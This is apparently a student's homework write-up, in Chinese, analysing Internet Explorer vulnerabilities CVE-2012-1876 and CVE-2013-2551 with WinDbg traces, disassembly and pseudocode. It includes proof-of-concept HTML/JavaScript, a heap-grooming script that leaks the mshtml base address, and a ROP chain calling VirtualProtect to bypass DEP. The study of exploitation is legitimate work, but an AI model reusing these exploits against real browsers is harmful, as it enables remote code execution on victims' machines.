小学期作业(二)

再调几个就滚回去复习

cve-2012-1876

poc分析

开启 hpa 后打开 poc, windbg 附加进行进程,查看崩溃原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0:013> .childdbg 1
Processes created by the current process will be debugged
0:013> g
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
(854.5fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=07ddf000 edi=07ddf018
eip=68980a2f esp=0462b9c8 ebp=0462b9d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
68980a2f 890f mov dword ptr [edi],ecx ds:0023:07ddf018=????????
0:005> kb
ChildEBP RetAddr Args to Child
0462b9d4 687ef47a 00414114 0462bd20 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0462ba8c 6865a6b8 00000001 0462bd20 000003e8 mshtml!CTableLayout::CalculateMinMax+0x558
0462bca8 68650879 0462bd20 0462bcec 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0462be54 6875566c 0462d4c8 0462c080 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0462bf8c 687518f9 07d9aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0462c050 68751646 07d9aea8 00013628 00013628 mshtml!CFlowLayout::MeasureSite+0x312
0462c098 687519c1 07724f00 00000061 0462d4c8 mshtml!CFlowLayout::GetSiteWidth+0x156
0462c0d8 68751f70 05568fb0 07d9aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
0462c15c 6e17665d 07654ff8 0462c17c 0462c240 mshtml!CEmbeddedILSObj::Fmt+0x150
0462c1ec 6e176399 0763cefc 00000000 07640d20 msls31!ProcessOneRun+0x3e9
0462c248 6e176252 0763cf18 00013fe0 00000000 msls31!FetchAppendEscCore+0x18e
0462c29c 6e1761c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f
0462c324 6e17293f 00000007 00002e87 00000000 msls31!LsDestroyLine+0x9ff
0462c360 6874f95e 00000001 00000007 00002e87 msls31!LsCreateLine+0xcb
0462c4b0 68760d1e 0462d4c8 00000007 05568fc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0462c554 68761367 0462cdb8 00013628 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
0462c59c 68761223 00000000 00013df8 00000083 mshtml!CLSMeasurer::Measure+0x1e6
0462c5c0 68762d7e 00013df8 00000083 07724f40 mshtml!CLSMeasurer::MeasureLine+0x1c
0462c670 6876b89e 0462cb90 077b8fd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0462ce78 6876b1f1 0462d4c8 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb
0462cfc8 6876b034 0462d4c8 00000007 0000000e mshtml!CDisplay::UpdateView+0x208
0462d07c 6876af8b 0462d4c8 0462d600 06f55f10 mshtml!CFlowLayout::CommitChanges+0x9c
0462d18c 6864a711 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcTextSize+0x30f
0462d414 6875adf6 07724f00 0462d600 00000000 mshtml!CFlowLayout::CalcSizeCoreCompat+0x1045
0462d430 68763651 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcSizeCore+0x49
0462d46c 6875ada4 0462d4c8 0462d600 00000000 mshtml!CBodyLayout::CalcSizeCore+0xd8
0462d4a4 6875566c 0462d4c8 0462d600 00000000 mshtml!CFlowLayout::CalcSizeVirtual+0x1af
0462d5dc 686f82bd 07724f00 00000001 00000000 mshtml!CLayout::CalcSize+0x2b8
0462d6cc 68765964 00100000 00000007 069eaeb4 mshtml!CFlowLayout::DoLayout+0x543
0462d708 68748bd8 069ea870 00100000 0462d768 mshtml!CView::ExecuteLayoutTasks+0x3b
0462d74c 686d3acd 00000000 0462d79c 0000003e mshtml!CView::EnsureView+0x355
0462d774 687293c2 069ea870 00000000 06888d58 mshtml!CView::EnsureViewCallback+0xd3
0462d7a8 6871e012 0462d844 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0462d7c8 75dfc4e7 00040276 00000012 00000000 mshtml!GlobalWndProc+0x10c
0462d7f4 75dfc5e7 68706853 00040276 00008002 USER32!InternalCallWinProc+0x23
0462d86c 75dfcc19 00000000 68706853 00040276 USER32!UserCallWinProcCheckWow+0x14b
0462d8cc 75dfcc70 68706853 00000000 0462f9ec USER32!DispatchMessageWorker+0x35e
0462d8dc 6cd94bec 0462d904 00000000 017aef58 USER32!DispatchMessageW+0xf
0462f9ec 6cda4f62 047adfe0 00000000 0168aff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0462faa4 75775c2b 017aef58 00000000 0462fac0 IEFRAME!LCIETab_ThreadProc+0x2c1
0462fab4 76023c45 0168aff0 0462fb00 771d37f5 iertutil!CIsoScope::RegisterThread+0xab
0462fac0 771d37f5 0168aff0 71861b5a 00000000 kernel32!BaseThreadInitThunk+0xe
0462fb00 771d37c8 75775c1d 0168aff0 00000000 ntdll!__RtlUserThreadStart+0x70
0462fb18 00000000 75775c1d 0168aff0 00000000 ntdll!_RtlUserThreadStart+0x1b

然后看下 edi 指向的内存信息。
QQ截图20180714101436.png-26.2kB
由上面的调试信息可知发生了堆溢出。

漏洞成因

下面来看下造成崩溃的 edi 来自哪里,先从崩溃的函数分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> uf mshtml!CTableColCalc::AdjustForCol
mshtml!CTableColCalc::AdjustForCol:
68980a1a 8bff mov edi,edi
68980a1c 55 push ebp
68980a1d 8bec mov ebp,esp
68980a1f 8b08 mov ecx,dword ptr [eax]
68980a21 53 push ebx
68980a22 8b5d08 mov ebx,dword ptr [ebp+8]
68980a25 57 push edi
68980a26 8bc1 mov eax,ecx
68980a28 83e00f and eax,0Fh
68980a2b 8d7e18 lea edi,[esi+18h]
68980a2e 50 push eax
68980a2f 890f mov dword ptr [edi],ecx
68980a31 e8d3c3daff call mshtml!CUnitValue::IsScalerUnit (6872ce09)
68980a36 85c0 test eax,eax
...

如上,edi=esi+18h,但是这个函数并没有对 esi 的处理,猜测在上一层函数。即函数 mshtml!CTableLayout::CalculateMinMax。根据 ida 的代码交叉引用功能可以找打调用 CTableColCalc::AdjustForCol 地址。
QQ截图20180714103720.png-9.6kB

QQ截图20180714104017.png-87.1kB
回溯发现静态分析是没法得到具体信息的,在函数 mshtml!CTableLayout::CalculateMinMax 下断进行调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
0:013> .childdbg 1
Processes created by the current process will be debugged
0:013> bu mshtml!CTableLayout::CalculateMinMax
0:013> bl
0 e 69dba078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:013> g
ModLoad: 6c6e0000 6c792000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba078 esp=0466c600 ebp=0466c818 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
69dba078 8bff mov edi,edi
0:005> p
...
0:005>
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba084 esp=0466c560 ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xc:
69dba084 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0466c604=07c52ea8
0:005>
eax=ffffffff ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0466c85c
eip=69dba087 esp=0466c560 ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xf:
69dba087 56 push esi
0:005> ln poi(ebx)
(69cb9960) mshtml!CTableLayout::`vftable' | (69cb9aa0) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>
...
0:005>
eax=00000000 ebx=07c52ea8 ecx=00412802 edx=ffffffff esi=0466c890 edi=0466c85c
eip=69dba094 esp=0466c55c ebp=0466c5fc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x1c:
69dba094 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:07c52efc=00000001
...
0:005> dd ebx+0x54 L1
07c52efc 00000001

由调试信息可以猜到这个是在 table 元素建立过程中,ebx+54h 存储的值为1,并且在 pocspan= 1,两者之间有什么关系呢,下面我们在 poc 中增加一行,如下
QQ截图20180714110524.png-27.2kB

继续动态调试可以看到

1
2
3
4
5
6
7
8
0:005>
eax=00000000 ebx=07af5ea8 ecx=00412802 edx=ffffffff esi=045ac7a0 edi=045ac76c
eip=6809a094 esp=045ac46c ebp=045ac50c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x1c:
6809a094 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:07af5efc=0000000a
0:005> dd ebx+0x54 L1
07af5efc 0000000a

如上我们可以猜测 CTableLayout 对象偏移 0x54 处存储的是 table 标签里 span 元素的总和。在看了 kk 前辈的分析后,发现偏移 0x84 处存储的是是一个数组 TableElementArray,数组成员为 <table> 标签的中的元素在内存中的对象。调试信息如下,至于为什么两个 col 元素但是实际内存中两个后面还有重复的我也不知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> dd poi(ebx+84)
0703efd8 06be8fd0 0712afd0 0712afd0 0712afd0
0703efe8 0712afd0 0712afd0 0712afd0 0712afd0
0703eff8 0712afd0 0712afd0 ???????? ????????
0703f008 ???????? ???????? ???????? ????????
0703f018 ???????? ???????? ???????? ????????
0703f028 ???????? ???????? ???????? ????????
0703f038 ???????? ???????? ???????? ????????
0703f048 ???????? ???????? ???????? ????????
0:005> ln poi(06be8fd0)
(6801a1d0) mshtml!CTableCol::`vftable' | (67f96b18) mshtml!CTableSection::`vftable'
Exact matches:
mshtml!CTableCol::`vftable' = <no type information>
0:005> ln poi(0712afd0)
(6801a1d0) mshtml!CTableCol::`vftable' | (67f96b18) mshtml!CTableSection::`vftable'
Exact matches:
mshtml!CTableCol::`vftable' = <no type information>

CTableCol 的内存中偏移 0xC 字节处,保存着一个 CAttrArray 对象指针 theTableColAttrArray 。在 theTableColAttrArray 对象内存偏移 0xC 字节处,是一块 0x40
字节大小的缓冲区 theTableColAttrInfoBuffer,用于保存 <col>元素属性的信息,如下。
QQ截图20180714113957.png-10.4kB
实际上我们可以先跟踪哪个函数进行了堆的分配。
QQ截图20180714115734.png-17.9kB
如上,可知函数 mshtml!CImplAry::EnsureSizeWorker 完成了堆的分配,
后续调试发现CTableLayout偏移 0x90 处存在一个用来与 span 的值进行比较的数。
QQ截图20180714115446.png-22.9kB
之后在 mshtml!CTableLayout::CalculateMinMax 函数调用了 mshtml!CImplAry::EnsureSizeWorker。跟进mshtml!CImplAry::EnsureSizeWorker
发现其调用了 ULongLongToUInt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __userpurge ULongLongToUInt@<eax>(_DWORD *a1@<eax>, unsigned __int64 a2, unsigned int *a3)
{
int result; // eax
if ( a2 > 0xFFFFFFFF )
{
*a1 = -1;
result = -2147024362;
}
else
{
*a1 = a2;
result = 0;
}
return result;
}

可以看到当第一个参数大于0xFFFFFFFF结果为负值,小于为0,现在传入的为 0x70,故函数执行完成后 eax=0。下面是 mshtml!CImplAry::EnsureSizeWorker 这个函数的注释。
2018-07-14_122322.png-83.5kB
跟进函数 _HeapRealloc 发现堆分配的地址保存在 CTableLayout 偏移0x9c处。
QQ截图20180714123321.png-50.6kB
执行完 mshtml!CTableLayout::CalculateMinMax 函数后发现并没有崩溃,所以还存在另一次调用,继续运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005>
eax=ffffffff ebx=0824cea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=0468bd54
eip=6809a084 esp=0468ba58 ebp=0468baf4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xc:
6809a084 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0468bafc=0824cea8
0:005>
eax=ffffffff ebx=0824cea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=0468bd54
eip=6809a087 esp=0468ba58 ebp=0468baf4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xf:
6809a087 56 push esi
0:005> dd ebx+0x54 L1
0824cefc 00000001
0:005> dd ebx+0x94 L1
0824cf3c 00000004

可以看到和上一次相比 ebx+0x94 处的值变成了4,什么时候变的???好像不知道。在 over_trigger 函数里我们已经把 span 的值改成了 1000,但现在还没有变动,说明下面会改动这个值,设置内存断点,观察什么时候会改动。
QQ截图20180714131942.png-6.8kB
直接崩溃了,说明并没有对 CTableLayoutspan 的值做处理。还有在 mshtml!CImplAry::EnsureSizeWorker 下断点并没有停下,说明ebx+0x94的值右移2后和1相等,跳转走了,并没有执行mshtml!CImplAry::EnsureSizeWorker 去分配堆。好像下面没法分析啦,因为崩溃点在 CTableColCalc::AdjustForCol 函数里,所以我们在 mshtml!CTableLayout::CalculateMinMax 调用 CTableColCalc::AdjustForCol 函数前加一个断点,观察参数。实际上并没有直接断在 call 处,为了更清楚的观察,断在了其之前的指令。主要处理指令如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mshtml!CTableLayout::CalculateMinMax+0x519:
6822f43b 8b839c000000 mov eax,dword ptr [ebx+9Ch] ;存放的是开辟的堆的地址
6822f441 03c1 add eax,ecx ;堆的地址加上之前已经处理的偏移
6822f443 837de400 cmp dword ptr [ebp-1Ch],0 ;相等
6822f447 8945d8 mov dword ptr [ebp-28h],eax
6822f44a 741a je mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466) ;跳转
mshtml!CTableLayout::CalculateMinMax+0x52a:
6822f44c 8b4510 mov eax,dword ptr [ebp+10h]
6822f44f 83f801 cmp eax,1
6822f452 7e12 jle mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466)
mshtml!CTableLayout::CalculateMinMax+0x532:
6822f454 48 dec eax
6822f455 3945ec cmp dword ptr [ebp-14h],eax
6822f458 750c jne mshtml!CTableLayout::CalculateMinMax+0x544 (6822f466)
mshtml!CTableLayout::CalculateMinMax+0x538:
6822f45a 0faf45f4 imul eax,dword ptr [ebp-0Ch]
6822f45e 8b4dd0 mov ecx,dword ptr [ebp-30h]
6822f461 2bc8 sub ecx,eax
6822f463 894df4 mov dword ptr [ebp-0Ch],ecx
mshtml!CTableLayout::CalculateMinMax+0x544:
6822f466 ff75c0 push dword ptr [ebp-40h]
6822f469 8b45cc mov eax,dword ptr [ebp-34h]
6822f46c ff750c push dword ptr [ebp+0Ch]
6822f46f 8b75d8 mov esi,dword ptr [ebp-28h] ;堆的地址加上之前已经处理过的偏移
6822f472 ff75f4 push dword ptr [ebp-0Ch]
6822f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (683c0a1a)
6822f47a ff45ec inc dword ptr [ebp-14h] ;最开始为0 每执行一次AdjustForCol函数会加1
6822f47d 8b45ec mov eax,dword ptr [ebp-14h]
6822f480 8345dc1c add dword ptr [ebp-24h],1Ch ; ebp-24h 存放的是传入AdjustForCol函数的offset最开始为0 每执行一次加1c
6822f484 3b4510 cmp eax,dword ptr [ebp+10h] ; ebp+10存放的值为3e8即1000,所以可以发现会循环调用1000次AdjustForCol函数
6822f487 7caf jl mshtml!CTableLayout::CalculateMinMax+0x516 (6822f438)

所以现在还剩下 ebp-c 指向的值是什么还不确定,继续设置内存断点,观察 ebp-c 值的变化(好像又失败了???我操作有问题???)。
最后发现 ida显示那个值的类型是 struct CWidthUnitValue * ,所以在查看调用的函数后发现可能是调用 CWidthUnitValue::GetPixelWidth 函数的返回值,加断点观察下。
QQ截图20180714145803.png-90.7kB
跟进函数 CWidthUnitValue::GetPixelWidth。算了,不跟了,跟不动,结果是因为 0x0414114=42765*100。所以来继续分析 AdjustForCol 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __userpurge CTableColCalc::AdjustForCol(CTableColCalc *this@<ecx>, const struct CWidthUnitValue **a2@<eax>, const struct CWidthUnitValue **a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
unsigned int v7; // ST04_4
v7 = (unsigned int)*a2 & 0xF; // (unsigned int)*a2=04141149
a3[6] = *a2;
if ( CUnitValue::IsScalerUnit(v7) )
{
CUnitValue::SetValue((signed int)a4, (int *)a3 + 6, 8);// a3[6] = a3[6]*16|8
a3[1] = a4; // a3[1]=00414114
*a3 = a4; // *a3 = 00414114
}
else
{
if ( a6 != (struct CCalcInfo *)1 )
CUnitValue::SetPercent((CUnitValue *)0x64, (int)(a3 + 6));
*a3 = (const struct CWidthUnitValue *)1;
a3[1] = *(const struct CWidthUnitValue **)(a5 + 16);
}
a3[2] = a4; // a3[2]=00414114
}

可能不够形象,直接贴图吧。
QQ截图20180714153902.png-6.9kB
实际上完成的功能可以用下面的伪代码表示(参考KK前辈的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int i= 0;
while(i < SpanSum)
{
CTableCol* theTableColObj = theTableLayoutObj->TableElementArray[i*4]
int col_span = theTableColObj->GetAAspan(); //获得 col 元素的 span 属性
//判断 col 元素是否设置了 width 属性
if(theTableColObj->CUnitValue::IsNullOrEnum())
{
for(int j=0; j<col_span; j++)
{
int cur_offset = (i + j) * 0x1C
AdjustForCol@CTableColCalc(&ColTableLayoutBuffer[cur_offset],width)
}
}
i += col_span
}

漏洞很明显了,循环复制,但是后面明显超过了堆的开辟大小,造成溢出

漏洞利用

因为存在 ASLRDEP 保护,所以必须先泄露地址信息绕过 ASLR,之后通过构造 ROP 链绕过 DEP

win7+ie8

泄漏地址信息的脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>
<script language='javascript'>
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}
function leak(){
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
str_addr = str_addr - 1410704;
alert("mshtml addr :"+str_addr.toString(16));
}
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}
setTimeout(function(){leak()}, 300);
setTimeout(function(){get_leak()},700);
//setTimeout(function(){heapspray()}, 900);
setTimeout(function(){trigger_overflow()}, 1200);
</script>
</body>
</html>

<col id="132" width="41" span="9" > 会建立 9个0x1c的堆块。之后定义三个长度为 500 的字符串。之后分配三个字符串数组

1
2
3
4
5
6
7
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

之后利用 BSTR 结构特性完成地址信息泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
alert("CButtonLayout addr :"+str_addr.toString(16));
str_addr = str_addr - 1410704;
alert("mshtml addr :"+str_addr.toString(16));
}
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "44";
}

如下图,成功覆盖 BSTR 的长度,之后通过 CButtonLayout 的虚表地址算出 mshtml 的加载基址。
QQ截图20180714180455.png-12kB
这个和书上不一样的是用的开头四字节的虚表地址来计算偏移,不过不重要,结果都一样。
QQ截图20180714184432.png-17.3kB
之后就可以利用泄露出来的 mshtml 地址构造 rop , 绕过 DEP
2018-07-14_184651.png-164.4kB
后面利用就是先栈劫持到堆上,之后 VirtualProtect 函数修改内存的可执行性,再控制 eip 到堆上已经布置好的 shellcoderop 的构造如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var shellcode = unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
shellcode+= unescape("%u0040%u0000"); // 0x00000040
shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
shellcode+= unescape("%u9090%u9090"); // crap
shellcode+= unescape("%u9090%u9090"); // crap

给的资料里面有一个 win7-ie-exp.html,执行后会在 4444 端口监听,如下,成功执行。
QQ截图20180714190405.png-37.5kB

win7+ie9/10/11

上面说了win7IE8 浏览器的利用,在 IE9 及之后的浏览器中存在 Nozzle 保护机制,并且 ie10 之后 BSTR 分配在 Custom Heap 上,所以上面的利用方法并不适合。

Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。

QQ截图20180715134938.png-137.6kB

Nozzle 并不检测 VBScript的执行,所以可以利用其绕过,VBArraytoArray() 可以堆上分配正常的 BSTR 对象。
参考:Study-of-Exploit-Migitation-in-Modern-Browsers-KEENTeam-XCON2013

cve-2013-2551

今天晚上花了点时间看了下The Art of Leaks: The Return of Heap Feng Shui,都怀疑自己适不适合做这行,前辈们都太强了,自己好菜,明天早起开始把这个调了。再贴一个IE 11 0day & Windows 8.1 Exploit

poc调试

感觉书上的 poc 已经和 exp 差不多了,如果只是确定漏洞点的话完全没有必要搞那么复杂,所以我在调试的时候用的另外一个 poc。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<style> v\:* { behavior: url(#default#VML); }</style >
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
</head>
<body>
<v:oval>
<v:stroke id="tsl" dashstyle="2 2"/>
</v:oval>
<script>
tsl.dashstyle.array.length = -1;
for(var i = 0; i < 6; i++)
{
tsl.dashstyle.array.item(i)=0x41414141;
}
</script>
</body>
</html>

windbg 附加后崩溃如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
0:015> g
ModLoad: 6c510000 6c5c2000 C:\Windows\System32\jscript.dll
(eb0.7c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0181a000 ebx=6caa4964 ecx=41414141 edx=0455cc08 esi=05c55ff0 edi=0455cc84
eip=6ca9daba esp=0455cc1c ebp=0455cc30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
vgx!COALineDashStyleArray::put_item+0x87:
6ca9daba 8908 mov dword ptr [eax],ecx ds:0023:0181a000=????????
0:005> kv
ChildEBP RetAddr Args to Child
0455cc30 77323e75 0182bfe8 00000004 41414141 vgx!COALineDashStyleArray::put_item+0x87 (FPO: [Non-Fpo])
0455cc50 77323cef 05c55ff0 00000028 00000004 OLEAUT32!DispCallFunc+0x165
0455cce0 6ca847c1 072df3a4 05c55ff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f (FPO: [Non-Fpo])
0455ce6c 6caa4a88 05c55ff4 05c55ff0 6cac223c vgx!COADispatch::Invoke+0x89 (FPO: [Non-Fpo])
0455cea0 6c52dc18 05c55ff0 00000000 6c520bb4 vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f (FPO: [Non-Fpo])
0455cee0 6c52db6c 018c0d10 00000000 00000409 jscript!IDispatchInvoke2+0xf0
0455cf1c 6c52dadf 018c0d10 00000409 00000004 jscript!IDispatchInvoke+0x6a
0455cfdc 6c52dc6a 018c0d10 00000000 00000004 jscript!InvokeDispatch+0xa9
0455d008 6c52d9a8 018c0d10 0455d03c 0000000c jscript!VAR::InvokeByName+0x93
0455d054 6c52da4f 018c0d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0455d080 6c524038 018c0d10 00000000 0000000c jscript!VAR::InvokeByDispID+0xce
0455d21c 6c525d7d 0455d234 0455d378 0762cf88 jscript!CScriptRuntime::Run+0x2c04
0455d304 6c525cdb 0455d378 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0455d34c 6c525ef1 0455d378 00000000 00000000 jscript!ScrFncObj::Call+0x8d
0455d3c8 6c52620a 0762cf88 0455d588 00000000 jscript!CSession::Execute+0x15f
0455d414 6c52c3b9 05c21df0 0455d588 0455d598 jscript!COleScript::ExecutePendingScripts+0x1bd
0455d478 6c52c1d1 05c21df0 08954fec 68c7f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
0455d4a0 68c7f774 05c21df4 06a2ef1c 08954fec jscript!COleScript::ParseScriptText+0x30
0455d4f8 68c7f58c 088e2fa8 00000000 0811af30 mshtml!CScriptCollection::ParseScriptText+0x218
0455d5bc 68c7f34f 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3c2
0455d5f0 68c62d52 7601ba60 095a4fb0 095a4fb0 mshtml!CScriptElement::Execute+0xc6
0455d63c 68c5c36a 08a95ef8 7601ba60 095a4fb0 mshtml!CHtmParse::Execute+0x4a
0455d654 68c5ceba 68c5cedb 00452e10 095a4fb0 mshtml!CHtmPost::Broadcast+0xf
0455d714 68c5e945 00452e1f 00000000 095a4fb0 mshtml!CHtmPost::Exec+0x5f7
0455d72c 68c5e8a9 00452e10 00000000 095a4fb0 mshtml!CHtmPost::Run+0x15
0455d74c 68c5e80e 06924d58 00452e10 095a4fb0 mshtml!PostManExecute+0x1fb
0455d76c 68c62d3e 00000001 0000007f 0455d78c mshtml!PostManResume+0xf7
0455d77c 68c5bf0e 05afcf98 095a4fb0 0455d7c0 mshtml!CHtmPost::OnDwnChanCallback+0x10
0455d78c 68cb93c2 05afcf98 00000000 06924d58 mshtml!CDwnChan::OnMethodCall+0x19
0455d7c0 68cae012 0455d85c 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0455d7e0 75dfc4e7 00140258 00000009 00000000 mshtml!GlobalWndProc+0x10c
0455d80c 75dfc5e7 68c96853 00140258 00008002 USER32!InternalCallWinProc+0x23
0455d884 75dfcc19 00000000 68c96853 00140258 USER32!UserCallWinProcCheckWow+0x14b (FPO: [Non-Fpo])
0455d8e4 75dfcc70 68c96853 00000000 0455fa04 USER32!DispatchMessageWorker+0x35e (FPO: [Non-Fpo])
0455d8f4 6cd94bec 0455d91c 00000000 0186ef58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
